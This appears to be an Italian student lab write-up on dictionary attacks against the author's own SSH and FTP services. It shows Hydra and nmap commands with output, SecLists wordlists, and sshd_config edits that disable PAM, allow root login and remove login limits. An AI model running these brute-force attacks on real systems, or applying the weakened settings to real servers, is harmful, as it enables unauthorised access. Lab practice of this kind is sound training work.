

Come primo passo, ho creato un nuovo utente come richiesto, chiamato "test_user" tramite il comando:

```
(kali㉿kali)-[/etc/ssh]
$ sudo adduser test_user
[sudo] password for kali:
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Quindi ho avviato il servizio ssh con il comando:

```
(kali㉿kali)-[/etc/ssh]
$ sudo service ssh start
```

E successivamente testato se l'accesso non desse errori inserendo le credenziali:

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.20.3
test_user@192.168.20.3's password:
Last login: Fri Jan 17 08:47:18 2025 from 192.168.20.3
(test_user@kali) [~]
```

Dopo aver verificato la corretta autenticazione, sono andato a scansionare il target con nmap per vedere se il servizio fosse aperto e su quale porta:

```
(kali㉿kali)-[~]
$ nmap 192.168.20.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 11:32 EST
Nmap scan report for 192.168.20.3
Host is up (0.0000020s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
```

Sono successivamente andato a eseguire l'attacco a dizionario con hydra usando il comando:

```
(kali㉿kali)-[~]
$ hydra -L Documents/SecLists/Username/cirt-default-usernames.txt -P Documents/SecLists/Passwords/500-worst-passwords.txt 192.168.20.3 -t 4 ssh -V
```

Dove con -L (maiuscola) vado a selezionare il percorso file del dizionario da usare per tentare i nomi utenti, con -P (maiuscola) vado a selezionare il percorso file del dizionario da usare per tentare le password, 192.168.20.3 è l'indirizzo IP della macchina target, -t (minuscolo) sta ad indicare i thread da usare contemporaneamente per tentare l'accesso, ssh è il servizio su cui vogliamo fare la scansione e -V è usato per mostrare a schermo i risultati in tempo reale.

```
[RE-ATTEMPT] target 192.168.20.3 - login "!root" - pass "sexy" - 44 of 413174 [child 1] (0/2)
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-17 04:01:08
```

Notavo ad ogni tentativo che il limite di accessi era di 44, quindi ho provato a visionare il file di configurazione del servizio ssh per vedere se trovassi qualche settaggio da modificare per permettere più accessi.

```
(kali㉿kali)-[~]
$ sudo nano /etc/ssh/sshd_config
```

Trovando qualcosa che potrebbe essermi utile come:

```
# Authentication:
#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

1
2 #LoginGraceTime 0
3 #PermitRootLogin no
4 #StrictModes yes
5 #MaxAuthTries 10
6 #MaxSessions 10
7
```

Ho provato a modificarlo in modo da rimuovere il tempo limite per ogni accesso impostando il valore a 0, permesso l'accesso come root impostando il valore "yes" e il massimo valore di tentativi a 10.

```
(kali㉿kali)-[~]
$ sudo service ssh restart
```

Riavviato il servizio ssh, ho riprovato a scansionare ma ottenendo lo stesso errore ogni volta, così ho provato a vedere lo status del servizio e quello che ho visto è stato che qualche servizio di nome "PAM" mi bloccava l'accesso

```
sudo systemctl status ssh
● ssh.service - OpenSSH Secure Shell server
   Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
   Active: active (running) since Fri 2025-01-17 05:05:30 EST; 0min ago
  Invocation: b029e6c4a47745178acca3a33758c290
     Docs: man:sshd(8)
           man:sshd_config(5)
   Process: 55907 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
    Main PID: 55909 (sshd)
       Tasks: 1 (limit: 2219)
      Memory: 1.2M (peak: 11.0M)
         CPU: 247ms
    CGroup: /system.slice/ssh.service
            └─55909 "sshd: /usr/sbin/sshd -O [listener] 0 of 10-100 startups"

Jan 17 05:06:20 kali sshd[55909]: drop connection #1 from [192.168.20.3]:39664 on [192.168.20.3]:22 penalty: failed authentication
Jan 17 05:06:20 kali sshd[55909]: drop connection #1 from [192.168.20.3]:39600 on [192.168.20.3]:22 penalty: failed authentication
Jan 17 05:06:20 kali sshd[55909]: drop connection #1 from [192.168.20.3]:39686 on [192.168.20.3]:22 penalty: failed authentication
Jan 17 05:06:20 kali sshd-session[56166]: error: Maximum authentication attempts exceeded for invalid user: root from 192.168.20.3 port 39686 sshd (preauth)
Jan 17 05:06:20 kali sshd-session[56166]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.20.3
Jan 17 05:06:20 kali sshd-session[56166]: PAM service(sshd) ignoring max retries; 6 > 3
Jan 17 05:06:20 kali sshd[55909]: drop connection #8 from [192.168.20.3]:39784 on [192.168.20.3]:22 penalty: failed authentication
Jan 17 05:06:20 kali sshd[55909]: drop connection #8 from [192.168.20.3]:39786 on [192.168.20.3]:22 penalty: failed authentication
```

così ho ricercato nel file di configurazione trovando la voce che lo nomina e messa su "no"

```
# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the KbdInteractiveAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via KbdInteractiveAuthentication may bypass
# the setting of "PermitRootLogin prohibit-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and KbdInteractiveAuthentication to 'no'.
UsePAM no
```

Riavviato di nuovo il servizio ssh ho riprovato con l'esecuzione del tool ma ottenevo sempre lo stesso errore, così sono ricorso alla soluzione di modificare il file del dizionario rimuovendo 40 parole ogni volta e riprovando con l'esecuzione del tool.

```
[ATTEMPT] target 192.168.20.3 - login "test user" - pass "testpass" - 10 of 199 [chi
22][ssh] host: 192.168.20.3 login: test user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-17 11:00:07
```

Ho poi provato ad avviare il servizio ftp usando:

```
(kali㉿kali)-[~]
$ service vsftpd start
```

E verificarne lo stato facendo una scansione nmap:

```
(kali㉿kali)-[~]
$ nmap 192.168.20.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 11:35 EST
Nmap scan report for 192.168.20.3
Host is up (0.0000020s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
```

Sono poi andato ad eseguire l'attacco con il file dizionario modificato per ssh con meno credenziali con il comando:

```
(kali㉿kali)-[~/Documents/Scetfate]
$ hydra -L Usernames/xato-net-10-million-usernames-dup2.txt -P Passwords/xato-net-10-million-passwords-10000002.txt 192.168.20.3 -t16 ftp -V
```

Uguale a quello per ssh solo che ho modificato il servizio da usare per l'attacco da ssh a ftp con 16 thread così da avere una più veloce esecuzione con 16 processi in conte temporanea.

```
[ATTEMPT] target 192.168.20.3 - login "test_user" - pass "snuffy" - 477 of 380620802048 [child 13] (0/0)
[ATTEMPT] target 192.168.20.3 - login "test_user" - pass "shutup" - 478 of 380620802048 [child 3] (0/0)
[21][ftp] host: 192.168.20.3 login: test_user password: testpass
[ATTEMPT] target 192.168.20.3 - login "test9999" - pass "123456" - 995265 of 380620802048 [child 8] (0/0)
[ATTEMPT] target 192.168.20.3 - login "test9999" - pass "password" - 995266 of 380620802048 [child 5] (0/0)
[ATTEMPT] target 192.168.20.3 - login "test9999" - pass "12345678" - 995267 of 380620802048 [child 9] (0/0)
[ATTEMPT] target 192.168.20.3 - login "test9999" - pass "qwerty" - 995268 of 380620802048 [child 2] (0/0)
```